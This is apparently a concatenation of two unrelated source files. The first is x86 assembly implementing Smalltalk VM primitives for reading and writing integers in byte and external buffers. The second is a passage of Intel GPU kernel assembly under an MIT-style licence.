;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; BOOL __fastcall Interpreter::primitiveAddressOf()
;
; Answer the address of the contents of the receiving byte object
; as an Integer. Notice that this is a very fast and simple primitive
;
BEGINPRIMITIVE primitiveAddressOf
mov ecx, [_SP] ; Load receiver at stack top
CANTBEINTEGEROBJECT <ecx>
mov eax, [ecx].m_location ; Load address of object
mov ecx, eax ; Save DWORD value in case of overflow
add eax, eax ; Will it fit into a SmallInteger?
jo largePositiveRequired ; No, its a 32-bit value
js largePositiveRequired ; Won't be positive SmallInteger (31 bit value)
or eax, 1 ; Yes, add SmallInteger flag
mov [_SP], eax ; Store new SmallInteger at stack top
mov eax, _SP ; primitiveSuccess(0)
ret
largePositiveRequired:
call LINEWUNSIGNED32 ; Returns new object to our caller in eax
mov [_SP], eax ; Overwrite receiver with new object
AddToZctNoSP <a>
mov eax, _SP ; primitiveSuccess(0)
ret
ENDPRIMITIVE primitiveAddressOf
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; External buffer/structure primitives.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
BEGINPRIMITIVE primitiveWORDAt
mov edx, [_SP] ; Load the byte offset
mov ecx, [_SP-OOPSIZE] ; Access receiver at stack top
ASSUME ecx:PTR OTE
sar edx, 1 ; Convert byte offset from SmallInteger (at the same time testing bottom bit)
mov eax, [ecx].m_location ; EAX is pointer to receiver
jnc localPrimitiveFailure0 ; Arg not a SmallInteger, fail the primitive
js localPrimitiveFailure1 ; Negative offset not valid
; Receiver is a normal byte object
mov ecx, [ecx].m_size
add edx, SIZEOF WORD ; Adjust offset to be last byte ref'd
and ecx, 7fffffffh ; Ignore immutability bit
cmp edx, ecx ; Off end of object?
jg localPrimitiveFailure1 ; Yes, offset too large
movzx ecx, WORD PTR[eax+edx-SIZEOF WORD] ; No, load WORD from object[offset]
lea eax, [_SP-OOPSIZE] ; primitiveSuccess(1)
lea ecx, [ecx+ecx+1] ; Convert to SmallInteger
mov [_SP-OOPSIZE], ecx ; Overwrite receiver
ret
LocalPrimitiveFailure 0
LocalPrimitiveFailure 1
ENDPRIMITIVE primitiveWORDAt
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; This primitive is exactly the same as primitiveWORDAt, except that it uses MOVSX
;; instead of MOVZX in order to sign extend the SWORD value
BEGINPRIMITIVE primitiveSWORDAt
mov ecx, [_SP-OOPSIZE] ; Access receiver below arg
ASSUME ecx:PTR OTE
mov edx, [_SP] ; Load the byte offset
sar edx, 1 ; Convert byte offset from SmallInteger (at the same time testing bottom bit)
mov eax, [ecx].m_location ; EAX is pointer to receiver
jnc localPrimitiveFailure0 ; Arg not a SmallInteger, fail the primitive
js localPrimitiveFailure1 ; Negative offset not valid
; Receiver is a normal byte object
mov ecx, [ecx].m_size
add edx, SIZEOF WORD ; Adjust offset to be last byte ref'd
and ecx, 7fffffffh ; Ignore immutability bit
cmp edx, ecx ; Off end of object?
jg localPrimitiveFailure1 ; Yes, offset too large
movsx ecx, WORD PTR[eax+edx-SIZEOF WORD] ; No, load WORD from object[offset]
lea eax, [_SP-OOPSIZE] ; primitiveSuccess(1)
lea ecx, [ecx+ecx+1] ; Convert to SmallInteger
mov [_SP-OOPSIZE], ecx ; Overwrite receiver
ret
LocalPrimitiveFailure 0
LocalPrimitiveFailure 1
ENDPRIMITIVE primitiveSWORDAt
primitiveFailure0:
PrimitiveFailureCode 0
primitiveFailure1:
PrimitiveFailureCode 1
primitiveFailure2:
PrimitiveFailureCode 2
; static BOOL __fastcall Interpreter::primitiveDWORDAt()
;
; Extract a 4-byte unsigned integer from the receiver (which must be a byte
; addressable object) and answer either a SmallInteger, or a
; LargePositiveInteger if 30-bits or more are required
;
; Can only succeed if the argument is a SmallInteger
;
BEGINPRIMITIVE primitiveDWORDAt
mov ecx, [_SP-OOPSIZE] ; Access receiver below arg
ASSUME ecx:PTR OTE
mov edx, [_SP] ; Load the byte offset
sar edx, 1 ; Convert byte offset from SmallInteger
mov eax, [ecx].m_location ; EAX is pointer to receiver
jnc localPrimitiveFailure0 ; Not a SmallInteger, fail the primitive
js localPrimitiveFailure1 ; Negative offset not valid
;; Receiver is a normal byte object
mov ecx, [ecx].m_size
add edx, SIZEOF DWORD ; Adjust offset to be last byte ref'd
and ecx, 7fffffffh ; Ignore immutability bit
cmp edx, ecx ; Off end of object?
jg localPrimitiveFailure1 ; Yes, offset too large
mov eax, [eax+edx-SIZEOF DWORD] ; No, load DWORD from object[offset]
mov ecx, eax ; Save DWORD value
add eax, eax ; Will it fit into a SmallInteger?
jo largePositiveRequired ; No, its a 32-bit value
js largePositiveRequired ; Won't be positive SmallInteger (31 bit value)
or eax, 1 ; Yes, add SmallInteger flag
mov [_SP-OOPSIZE], eax ; Store new SmallInteger at stack top
lea eax, [_SP-OOPSIZE] ; primitiveSuccess(0)
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Replace the object at stack top (assuming no count down necessary, or already done)
;; with a new LargePositiveInteger whose value is half that in ECX/Carry Flag
largePositiveRequired: ; eax contains left shifted value
call LINEWUNSIGNED32 ; Returns new object to our caller in eax
mov [_SP-OOPSIZE], eax ; Overwrite receiver with new object
AddToZct <a>
lea eax, [_SP-OOPSIZE] ; primitiveSuccess(1)
ret
LocalPrimitiveFailure 0
LocalPrimitiveFailure 1
ENDPRIMITIVE primitiveDWORDAt
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; As above, but receiver is indirection object
;; Optimise for storing SmallInteger, since this most frequent op
BEGINPRIMITIVE primitiveIndirectDWORDAt
IndirectAtPreamble
mov eax, [eax+edx] ; Load DWORD from *(address+offset)
mov ecx, eax ; Save DWORD value in case of overflow
add eax, eax ; Will it fit into a SmallInteger?
jo largePositiveRequired ; No, its a 32-bit value
js largePositiveRequired ; Won't be positive SmallInteger (31 bit value)
or eax, 1 ; Yes, add SmallInteger flag
mov [_SP-OOPSIZE], eax ; Store new SmallInteger at stack top
lea eax, [_SP-OOPSIZE] ; primitiveSuccess(1)
ret
largePositiveRequired:
call LINEWUNSIGNED32 ; Returns new object to our caller in eax
mov [_SP-OOPSIZE], eax ; Overwrite receiver with new object
AddToZct <a>
lea eax, [_SP-OOPSIZE] ; primitiveSuccess(1)
ret
LocalPrimitiveFailure 0
ENDPRIMITIVE primitiveIndirectDWORDAt
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; int __fastcall Interpreter::primitiveSDWORDAt()
;
; Extract a 4-byte signed integer from the receiver (which must be a byte
; addressable object) and answer either a SmallInteger, or a
; LargeInteger if 31-bits or more are required
;
BEGINPRIMITIVE primitiveSDWORDAt
mov ecx, [_SP-OOPSIZE] ; Access receiver at stack top
ASSUME ecx:PTR OTE
mov edx, [_SP] ; Load the byte offset
sar edx, 1 ; Convert byte offset from SmallInteger
mov eax, [ecx].m_location ; EAX is pointer to receiver
ASSUME eax:PTR Object
jnc localPrimitiveFailure0 ; Not a SmallInteger, fail the primitive
js localPrimitiveFailure1 ; Negative offset not valid
;; Receiver is a normal byte object
mov ecx, [ecx].m_size
add edx, SIZEOF DWORD ; Adjust offset to be last byte ref'd
and ecx, 7fffffffh ; Ignore immutability bit
cmp edx, ecx ; Off end of object?
jg localPrimitiveFailure1 ; Yes, offset too large
mov eax, [eax+edx-SIZEOF DWORD] ; No, load SDWORD from object[offset]
ASSUME eax:SDWORD
mov ecx, eax ; Restore SDWORD value into ECX
add ecx, eax ; Will it fit into a SmallInteger
jo @F ; No, its at 32-bit number
or ecx, 1 ; Yes, add SmallInteger flag
lea eax, [_SP-OOPSIZE] ; primitiveSuccess(1)
mov [_SP-OOPSIZE], ecx ; Store new SmallInteger at stack top
ret
@@:
mov ecx, eax ; Revert to non-shifted value
call LINEWSIGNED ; Create new LI with 32-bit signed value in ECX
mov [_SP-OOPSIZE], eax ; Overwrite receiver with new object
AddToZct <a>
lea eax, [_SP-OOPSIZE] ; primitiveSuccess(1)
ret
LocalPrimitiveFailure 0
LocalPrimitiveFailure 1
ENDPRIMITIVE primitiveSDWORDAt
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Optimise for storing SmallInteger, since this most frequent op
BEGINPRIMITIVE primitiveSDWORDAtPut
mov ecx, [_SP-OOPSIZE*2] ; Access receiver
ASSUME ecx:PTR OTE
mov edx, [_SP-OOPSIZE] ; Load the byte offset
sar edx, 1 ; Convert byte offset from SmallInteger
mov eax, [ecx].m_location ; EAX is pointer to receiver
ASSUME eax:PTR Object
js primitiveFailure1 ; Negative offset invalid
jnc primitiveFailure0 ; Offset, not a SmallInteger, fail the primitive
;; Receiver is a normal byte object
add edx, SIZEOF DWORD ; Adjust offset to be last byte ref'd
cmp edx, [ecx].m_size ; Off end of object? N.B. Don't mask out immutable bit
lea eax, [eax+edx-SIZEOF DWORD] ; Calculate destination address
ASSUME eax:PTR SDWORD ; EAX now points at slot to update
jg primitiveFailure1 ; Yes, offset too large
;; Deliberately drop through into the common backend
ENDPRIMITIVE primitiveSDWORDAtPut
;; Common backend for xxxxxSDWORDAtPut primitives
sdwordAtPut PROC
mov edx, [_SP]
test dl, 1 ; SmallInteger value?
jz @F ; No
; Store down smallInteger value
mov ecx, edx
sar edx, 1 ; Convert from SmallInteger value
mov [eax], edx ; Store down value into object
; Don't adjust stack until memory has been accessed in case it is inaccessible and causes an access violation
mov [_SP-OOPSIZE*2], ecx ; Overwrite receiver
lea eax, [_SP-OOPSIZE*2] ; primitiveSuccess(2)
ret
@@:
ASSUME edx:PTR OTE
; Non-SmallInteger value
test [edx].m_flags, MASK m_pointer
mov ecx, [edx].m_size
jnz primitiveFailure2 ; Can't assign pointer object
and ecx, 7fffffffh ; Mask out the immutability bit (can assign const object)
cmp ecx, SIZEOF DWORD
mov edx, [edx].m_location ; Get pointer to arg2 into ecx
ASSUME edx:PTR LargeInteger
jne primitiveFailure2
; So now we know it's a 4-byte object, let's see if its a negative large integer
mov edx, [edx].m_digits[0] ; Load the 32-bit value
ASSUME edx:DWORD
mov [eax], edx ; Store down 32-bit value
mov edx, [_SP] ; Reload arg
mov [_SP-OOPSIZE*2], edx ; Overwrite receiver
lea eax, [_SP-OOPSIZE*2] ; primitiveSuccess(2)
ret
sdwordAtPut ENDP
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; An exact copy of the above, but omits LargePositiveInteger range check
BEGINPRIMITIVE primitiveDWORDAtPut
mov ecx, [_SP-OOPSIZE*2] ; Access receiver
ASSUME ecx:PTR OTE
mov edx, [_SP-OOPSIZE] ; Load the byte offset
sar edx, 1 ; Convert byte offset from SmallInteger
mov eax, [ecx].m_location ; EAX is pointer to receiver
jnc primitiveFailure0 ; Offset, not a SmallInteger, fail the primitive
js primitiveFailure1 ; Negative offset invalid
;; Receiver is a normal byte object
add edx, SIZEOF DWORD ; Adjust offset to be last byte ref'd
cmp edx, [ecx].m_size ; Off end of object? N.B. Don't mask out immutable bit
lea eax, [eax+edx-SIZEOF DWORD] ; Calculate destination address
jg primitiveFailure1 ; Yes, offset too large
; DELIBERATELY DROP THROUGH into dwordAtPut
ENDPRIMITIVE primitiveDWORDAtPut
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Helper backed to primitiveDWORDAtPut and primitiveIndirectDWORDAtPut
dwordAtPut PROC
; EAX is pointer to destination for DWORD value
; ECX, EDX not used for input
; Adjusts stack to remove args if succeeds.
; May fail the primitive
mov edx, [_SP]
test dl, 1 ; SmallInteger value?
jz @F ; No
; Store down smallInteger value
mov ecx, edx
sar edx, 1 ; Convert from SmallInteger value
mov [eax], edx ; Store down value into object
; Past failing so adjust stack (returns the argument)
mov [_SP-OOPSIZE*2], ecx ; Overwrite receiver
lea eax, [_SP-OOPSIZE*2] ; primitiveSuccess(2)
ret
@@:
ASSUME edx:PTR OTE
; Non-SmallInteger value
test [edx].m_flags, MASK m_pointer
jnz primitiveFailure2 ; Can't assign pointer object
mov ecx, [edx].m_size
and ecx, 7fffffffh ; Mask out the immutable bit on the assigned value
cmp ecx, SIZEOF DWORD
mov edx, [edx].m_location ; Get pointer to arg2 into ecx
ASSUME edx:PTR Object
je @F ; 4 bytes, can store down
cmp ecx, SIZEOF QWORD
jne primitiveFailure2
; It's an 8 byte object, may be able to store if top byte zero (e.g. positive LargeIntegers >= 16r80000000)
ASSUME edx:PTR QWORDBytes
cmp [edx].m_highPart, 0
jne primitiveFailure2 ; Top dword not zero, so disallow it
@@:
ASSUME edx:PTR DWORDBytes
mov edx, [edx].m_value ; Load the 32-bit value
mov [eax], edx ; Store down 32-bit value
mov edx, [_SP] ; Reload arg
mov [_SP-OOPSIZE*2], edx ; Overwrite receiver with arg for answer
lea eax, [_SP-OOPSIZE*2] ; primitiveSuccess(2)
ret
ASSUME edx:NOTHING
dwordAtPut ENDP
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
BEGINPRIMITIVE primitiveIndirectSDWORDAtPut
mov ecx, [_SP-OOPSIZE*2] ; Access receiver
ASSUME ecx:PTR OTE
mov edx, [_SP-OOPSIZE] ; Load the byte offset
sar edx, 1 ; Convert byte offset from SmallInteger
mov eax, [ecx].m_location ; EAX is pointer to receiver
jnc primitiveFailure0 ; Offset, not a SmallInteger, fail the primitive
;js primitiveFailure1 ; Negative offset ARE valid
; Receiver is an ExternalAddress
mov eax, (ExternalAddress PTR[eax]).m_pointer; Load pointer out of object (immediately after header)
add eax, edx ; Calculate destination address
jmp sdwordAtPut ; Pass control to the common backend
ENDPRIMITIVE primitiveIndirectSDWORDAtPut
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; As above, but receiver is indirection object
BEGINPRIMITIVE primitiveIndirectDWORDAtPut
mov ecx, [_SP-OOPSIZE*2] ; Access receiver
ASSUME ecx:PTR OTE
mov edx, [_SP-OOPSIZE] ; Load the byte offset
sar edx, 1 ; Convert byte offset from SmallInteger
mov eax, [ecx].m_location ; EAX is pointer to receiver
jnc primitiveFailure0 ; Offset, not a SmallInteger, fail the primitive
; Receiver is an ExternalAddress
mov eax, (ExternalAddress PTR[eax]).m_pointer; Load pointer out of object (immediately after header)
add eax, edx ; Calculate destination address
jmp dwordAtPut ; Pass control to the common backend with primitiveDWORDAtPut
ENDPRIMITIVE primitiveIndirectDWORDAtPut
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
BEGINPRIMITIVE primitiveIndirectSDWORDAt
IndirectAtPreamble
mov eax, DWORD PTR[eax+edx] ; Save SDWORD from *(address+offset)
;; Its not going to fail, so prepare Smalltalk stack
mov ecx, eax ; Restore SDWORD value into ECX
add eax, eax ; Will it fit into a SmallInteger
jo overflow ; No, its at 32-bit number
or eax, 1 ; Yes, add SmallInteger flag
mov [_SP-OOPSIZE], eax ; Store new SmallInteger at stack top
lea eax, [_SP-OOPSIZE] ; primitiveSuccess(0)
ret
overflow:
call LINEWSIGNED ; Create new LI with 32-bit signed value in ECX
mov [_SP-OOPSIZE], eax ; Overwrite receiver with new object
AddToZct <a>
lea eax, [_SP-OOPSIZE] ; primitiveSuccess(1)
ret
LocalPrimitiveFailure 0
ENDPRIMITIVE primitiveIndirectSDWORDAt
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
BEGINPRIMITIVE primitiveIndirectSWORDAt
IndirectAtPreamble
movsx ecx, WORD PTR[eax+edx] ; Sign extend WORD from *(address+offset) into EAX
lea ecx, [ecx+ecx+1] ; Convert to SmallInteger
lea eax, [_SP-OOPSIZE] ; primitiveSuccess(1)
mov [_SP-OOPSIZE], ecx ; Overwrite receiver
ret
LocalPrimitiveFailure 0
ENDPRIMITIVE primitiveIndirectSWORDAt
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
BEGINPRIMITIVE primitiveIndirectWORDAt
IndirectAtPreamble
movzx ecx, WORD PTR[eax+edx] ; Zero extend WORD from *(address+offset) into EAX
lea ecx, [ecx+ecx+1] ; Convert to SmallInteger
lea eax, [_SP-OOPSIZE] ; primitiveSuccess(1)
mov [_SP-OOPSIZE], ecx ; Overwrite receiver
ret
LocalPrimitiveFailure 0
ENDPRIMITIVE primitiveIndirectWORDAt
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
; int __fastcall Interpreter::primitiveByteAtAddress()
;
; Treat the contents of the receiver (which must be a byte object) at
; offsets 0..3 as an address and answer the byte at that address plus
; the offset specified as an argument.
;
BEGINPRIMITIVE primitiveByteAtAddress
IndirectAtPreamble
movzx ecx, BYTE PTR[eax+edx] ; Load the desired byte into cl
lea eax, [_SP-OOPSIZE] ; primitiveSuccess(1)
lea ecx, [ecx+ecx+1] ; Convert to SmallInteger
mov [_SP-OOPSIZE], ecx ; Store new SmallInteger at stack top
ret
LocalPrimitiveFailure 0
ENDPRIMITIVE primitiveByteAtAddress
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; int __fastcall Interpreter::primitiveByteAtAddressPut()
;
; Treat the contents of the receiver (which must be a byte object) at
; offsets 0..3 as an address and ovewrite the byte at that address plus
; the offset specified as an argument with the argument.
;
BEGINPRIMITIVE primitiveByteAtAddressPut
mov ecx, [_SP-OOPSIZE*2] ; Access receiver underneath arguments
ASSUME ecx:PTR OTE
mov edx, [_SP-OOPSIZE] ; Load the byte offset
sar edx, 1 ; Convert byte offset from SmallInteger
mov eax, [_SP] ; Load the value argument
mov ecx, [ecx].m_location ; Load address of object into EAX
ASSUME ecx:PTR ExternalAddress
jnc localPrimitiveFailure0 ; Offset not a SmallInteger, fail the primitive
mov ecx, [ecx].m_pointer ; Load the base address from the object
ASSUME ecx:PTR BYTE
add ecx, edx
ASSUME edx:NOTHING ; EDX is now free
mov edx, eax ; Load value into EDX
sar edx, 1 ; Convert byte value from SmallInteger
jnc localPrimitiveFailure2 ; Not a SmallInteger, fail the primitive
cmp edx, 0FFh ; Is it in range?
ja localPrimitiveFailure3 ; No, too big (N.B. unsigned comparison)
mov [ecx], dl ; Store byte at the specified offset
mov [_SP-OOPSIZE*2], eax ; SmallInteger answer (same as value arg)
lea eax, [_SP-OOPSIZE*2] ; primitiveSuccess(2)
ret
LocalPrimitiveFailure 0
LocalPrimitiveFailure 2
LocalPrimitiveFailure 3
ENDPRIMITIVE primitiveByteAtAddressPut
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; int __fastcall Interpreter::primitiveWORDAtPut()
;
BEGINPRIMITIVE primitiveWORDAtPut
mov ecx, [_SP-OOPSIZE*2] ; Access receiver underneath arguments
ASSUME ecx:PTR OTE
mov edx, [_SP-OOPSIZE] ; Load the byte offset
sar edx, 1 ; Convert byte offset from SmallInteger
mov eax, [ecx].m_location ; Load address of object
jnc localPrimitiveFailure0 ; Not a SmallInteger, fail the primitive
js localPrimitiveFailure1 ; Negative offsets not valid
add edx, SIZEOF WORD ; Adjust offset to be last byte ref'd
cmp edx, [ecx].m_size ; Off end of object? N.B. Ignore the immutable bit so fails if receiver constant
jg localPrimitiveFailure1 ; Yes, offset too large, fail it
mov ecx, [_SP] ; Load the value argument
sar ecx, 1 ; Convert byte value from SmallInteger
jnc localPrimitiveFailure2 ; Not a SmallInteger, fail the primitive
cmp ecx, 0FFFFh ; Is it in range?
ja localPrimitiveFailure3 ; No, too big (N.B. unsigned comparison)
mov WORD PTR[eax+edx-SIZEOF WORD], cx ; No, Store down the 16-bit value
mov eax, [_SP] ; and value
mov [_SP-OOPSIZE*2], eax ; SmallInteger answer (same as value arg)
lea eax, [_SP-OOPSIZE*2] ; primitiveSuccess(2)
ret
LocalPrimitiveFailure 0
LocalPrimitiveFailure 1
LocalPrimitiveFailure 2
LocalPrimitiveFailure 3
ENDPRIMITIVE primitiveWORDAtPut
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; int __fastcall Interpreter::primitiveIndirectWORDAtPut()
;
BEGINPRIMITIVE primitiveIndirectWORDAtPut
IndirectAtPutPreamble
mov ecx, [_SP] ; Load the value argument
sar ecx, 1 ; Convert byte value from SmallInteger
jnc localPrimitiveFailure2 ; Not a SmallInteger, fail the primitive
cmp ecx, 0FFFFh ; Is it in range?
ja localPrimitiveFailure3 ; No, too big (N.B. unsigned comparison)
mov WORD PTR[eax+edx], cx ; Store down the 16-bit value
mov ecx, [_SP] ; and value
lea eax, [_SP-OOPSIZE*2] ; primitiveSuccess(2)
mov [_SP-OOPSIZE*2], ecx ; SmallInteger answer (same as value arg)
ret
LocalPrimitiveFailure 0
LocalPrimitiveFailure 2
LocalPrimitiveFailure 3
ENDPRIMITIVE primitiveIndirectWORDAtPut
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Store a signed word into a buffer. The offset must be in bounds, and the
; value must be a SmallInteger in the range -32768..32767
;
BEGINPRIMITIVE primitiveSWORDAtPut
mov ecx, [_SP-OOPSIZE*2] ; Access receiver underneath arguments
ASSUME ecx:PTR OTE
mov edx, [_SP-OOPSIZE] ; Load the byte offset
sar edx, 1 ; Convert byte offset from SmallInteger
mov eax, [ecx].m_location ; Load address of object
jnc localPrimitiveFailure0 ; Not a SmallInteger, fail the primitive
js localPrimitiveFailure1 ; Negative offsets not valid
add edx, SIZEOF WORD ; Adjust offset to be last byte ref'd
cmp edx, [ecx].m_size ; Off end of object? N.B. Ignore the immutable bit so fails if receiver constant
jg localPrimitiveFailure1 ; Yes, offset too large, fail it
mov ecx, [_SP] ; Load the value argument
sar ecx, 1 ; Convert byte value from SmallInteger
jnc localPrimitiveFailure2 ; Not a SmallInteger, fail the primitive
cmp ecx, 08000h ; Is it in range?
jge localPrimitiveFailure3 ; No, too large positive
cmp ecx, -08000h
jl localPrimitiveFailure3 ; No, too large negative
mov WORD PTR[eax+edx-SIZEOF WORD], cx ; No, Store down the 16-bit value
mov ecx, [_SP] ; and value
lea eax, [_SP-OOPSIZE*2] ; primitiveSuccess(2)
mov [_SP-OOPSIZE*2], ecx ; SmallInteger answer (same as value arg)
ret
LocalPrimitiveFailure 0
LocalPrimitiveFailure 1
LocalPrimitiveFailure 2
LocalPrimitiveFailure 3
ENDPRIMITIVE primitiveSWORDAtPut
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Store a signed word into a buffer pointed at by the receiver. The
; value must be a SmallInteger in the range -32768..32767. If the receiver's
; address value + the offset is not a writeable address, then a non-fatal GP
; fault will occur.
;
BEGINPRIMITIVE primitiveIndirectSWORDAtPut
IndirectAtPutPreamble
mov ecx, [_SP] ; Load the value argument
sar ecx, 1 ; Convert byte value from SmallInteger
jnc localPrimitiveFailure2 ; Not a SmallInteger, fail the primitive
cmp ecx, 08000h ; Is it in range?
jge localPrimitiveFailure3 ; No, too large positive
cmp ecx, -08000h
jl localPrimitiveFailure3 ; No, too large negative
mov WORD PTR[eax+edx], cx ; Store down the 16-bit value
mov ecx, [_SP] ; and value
lea eax, [_SP-OOPSIZE*2] ; primitiveSuccess(2)
mov [_SP-OOPSIZE*2], ecx ; SmallInteger answer (same as value arg)
ret
LocalPrimitiveFailure 0
LocalPrimitiveFailure 2
LocalPrimitiveFailure 3
ENDPRIMITIVE primitiveIndirectSWORDAtPut
END
|
/*
* Copyright (c) 2017, Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*/
L0:
mov (8|M0) r13.0<1>:ud 0x0:ud
(W&~f0.1)jmpi L1488
L32:
mov (8|M0) acc0.0<1>:f r25.3<0;1,0>:f
mac (1|M0) r23.3<1>:f r23.1<0;1,0>:f 2.0:f
cmp (1|M0) (eq)f1.0 null.0<1>:w r24.2<0;1,0>:ub 0x1:uw
(f1.0) mov (1|M0) acc0.3<1>:f r23.3<0;1,0>:f
(f1.0) mac (1|M0) r23.3<1>:f r24.1<0;1,0>:f 2.0:f
mov (4|M0) r10.0<1>:f 0x48403000:vf
mov (4|M0) r10.4<1>:f 0x5C585450:vf
mov (8|M0) r13.0<1>:ud r0.0<8;8,1>:ud
mov (2|M0) r13.0<1>:ud 0x0:ud
mov (1|M0) r13.2<1>:ud 0x0:ud
add (1|M0) a0.0<1>:ud r23.5<0;1,0>:ud 0xA8C0100:ud
mov (8|M0) acc0.0<1>:f r23.3<0;1,0>:f
mac (8|M0) r16.0<1>:f r25.5<0;1,0>:f r10.0<0;1,0>:f
mac (8|M0) r17.0<1>:f r25.5<0;1,0>:f r10.1<0;1,0>:f
mov (8|M0) acc0.0<1>:f r25.2<0;1,0>:f
mac (8|M0) r14.0<1>:f r25.4<0;1,0>:f r10.0<8;8,1>:f
mac (8|M0) r15.0<1>:f r25.4<0;1,0>:f r10.0<8;8,1>:f
send (16|M0) r104:uw r13:ub 0x2 a0.0
mul (8|M0) acc0.0<1>:f r25.5<0;1,0>:f 2.0:f
add (8|M0) r16.0<1>:f acc0.0<8;8,1>:f r16.0<8;8,1>:f
add (8|M0) r17.0<1>:f acc0.0<8;8,1>:f r17.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r104.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r96.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r106.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r98.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r108.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r100.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r110.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r102.0<1>:ud acc0.0<8;8,1>:f
mov (16|M0) r96.0<1>:uw r96.0<16;8,2>:uw
mov (16|M0) r98.0<1>:uw r98.0<16;8,2>:uw
mov (16|M0) r100.0<1>:uw r100.0<16;8,2>:uw
mov (16|M0) r102.0<1>:uw r102.0<16;8,2>:uw
send (16|M0) r104:uw r13:ub 0x2 a0.0
mul (8|M0) acc0.0<1>:f r25.5<0;1,0>:f -2.0:f
add (8|M0) r16.0<1>:f acc0.0<8;8,1>:f r16.0<8;8,1>:f
add (8|M0) r17.0<1>:f acc0.0<8;8,1>:f r17.0<8;8,1>:f
mov (8|M0) acc0.0<1>:f r14.0<8;8,1>:f
mac (8|M0) r14.0<1>:f r25.4<0;1,0>:f 8.0:f
mov (8|M0) acc0.0<1>:f r15.0<8;8,1>:f
mac (8|M0) r15.0<1>:f r25.4<0;1,0>:f 8.0:f
mul (16|M0) acc0.0<1>:f r104.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r104.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r106.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r106.0<1>:ud acc0.0<8;8,1>:f
mul (16|M0) acc0.0<1>:f r108.0<8;8,1>:f 65280.0:f
mov (16|M0) (sat)r108.0<1>:ud acc0.0<8;8,1>:f
